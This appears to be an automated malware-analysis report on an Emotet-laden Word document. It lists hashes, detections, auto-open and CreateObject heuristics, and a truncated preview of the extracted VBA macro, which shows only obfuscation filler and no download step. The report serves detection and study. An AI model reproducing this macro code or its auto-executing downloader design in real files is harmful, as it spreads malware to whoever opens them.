Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 3cf5fbc56bcdbd3c…

MALICIOUS

Office (OLE)

149.2 KB Created: 2019-05-31 15:27:00 Authoring application: Microsoft Office Word First seen: 2019-06-27
MD5: 7b427e0879b7389c253712dd6123a1c9 SHA-1: fdaa877956e401af3ac3a3fead69f886ea136da6 SHA-256: 3cf5fbc56bcdbd3c2937086dd0ecdf8bb348f9ea5f4efc83af51dbf312f4e61c
222 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is a malicious Microsoft Word document containing a VBA macro. The macro utilizes CreateObject and is triggered by the autoopen function, indicating it's designed to execute a payload. ClamAV detection explicitly identifies it as Emotet, a known downloader family. The presence of the autoopen macro and the CreateObject call strongly suggest the execution of a second-stage payload.

Heuristics 7

  • ClamAV: Doc.Downloader.Emotet-10001946-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-10001946-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 17148 bytes
SHA-256: b98fa0df78cbb82486faf87711bff2663908488e20122901a4b198529db70aff
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "wDla3z_, 0, 0, MSForms, ComboBox"
Attribute VB_Control = "zP1r39TU, 1, 1, MSForms, ComboBox"
Attribute VB_Control = "kadvjs, 2, 2, MSForms, ComboBox"

Attribute VB_Name = "A24iRMj"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "dKkVvLKS"

Attribute VB_Name = "PGPPpU_"

Attribute VB_Name = "Mbqzc2vU"

Attribute VB_Name = "I3ubzO"

Attribute VB_Name = "CD6TE_Sn"

Attribute VB_Name = "ufMaicO"

Attribute VB_Name = "OIrdjS"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "E0m4On6"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "iwW4R8"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "PTAzNmG3"
Function YDQC75qb()
   Select Case "wCY8XHou"
         Case "iGQHI8p"
         Debug.Print "zTpi5o1"
            Debug.Print Tan("UUZqtPKw")
         Debug.Print Log("vGu1wZ")
            Debug.Print "tpusIlW"
            Debug.Print "OifSiz9"
            Debug.Print Tan("G6XB8Wsc")
         Case "Ki3JBN9"
            Debug.Print Log("jMwUv34S")
            Debug.Print "TRzi5S0C"
            Debug.Print Log("U_r6ww5a")
            Debug.Print "DkLBpsT"
            Debug.Print Tan("IED_hUR")
            Debug.Print "w3DKG6jr"
End Select

   Select Case "D_dz8Tz"
         Case "wjTvjCNR"
         Debug.Print "Sruqlw"
            Debug.Print Tan("AOR3GF")
         Debug.Print Log("jo6uOX")
            Debug.Print "pUVA4O"
            Debug.Print "sQo7UT4"
            Debug.Print Tan("LwEmHdOt")
         Case "iWuz0Vc"
            Debug.Print Log("VINwO3")
            Debug.Print "WGzTv38A"
            Debug.Print Log("jr2GRi")
            Debug.Print "CHbpl4b"
            Debug.Print Tan("iAC2uHn")
            Debug.Print "fHzfwza"
End Select

End Function
Function cELmYS()
   Select Case "J_L2PLP"
         Case "b0zm94ds"
         Debug.Print "zUBSiKc"
            Debug.Print Tan("owW4Rn")
         Debug.Print Log("jbz4rpZ")
            Debug.Print "votYDG"
            Debug.Print "rSKror"
            Debug.Print Tan("wz_KGj")
         Case "c2RniTqm"
            Debug.Print Log("MwN5us7")
            Debug.Print "R2p0uBo"
            Debug.Print Log("VTCZpw2M")
            Debug.Print "phmi4Oc_"
            Debug.Print Tan("CRPfEp")
            Debug.Print "thm1kwLf"
End Select

If 789825 = 789825 Then
   Select Case "FNm82967"
         Case "jKDnSv93"
         Debug.Print "t1LClu"
            Debug.Print Tan("Q7CHsw7S")
         Debug.Print Log("rLB3sQ")
            Debug.Print "IRrSd9T"
            Debug.Print "NBjVG7Gm"
            Debug.Print Tan("ddPsA9wB")
         Case "zI6iLk"
            Debug.Print Log("BcFwo5")
            Debug.Print "LztQ7Q"
            Debug.Print Log("w96krUq")
            Debug.Print "B6IGEK"
            Debug.Print Tan("wlBvw1")
            Debug.Print "l
... (truncated)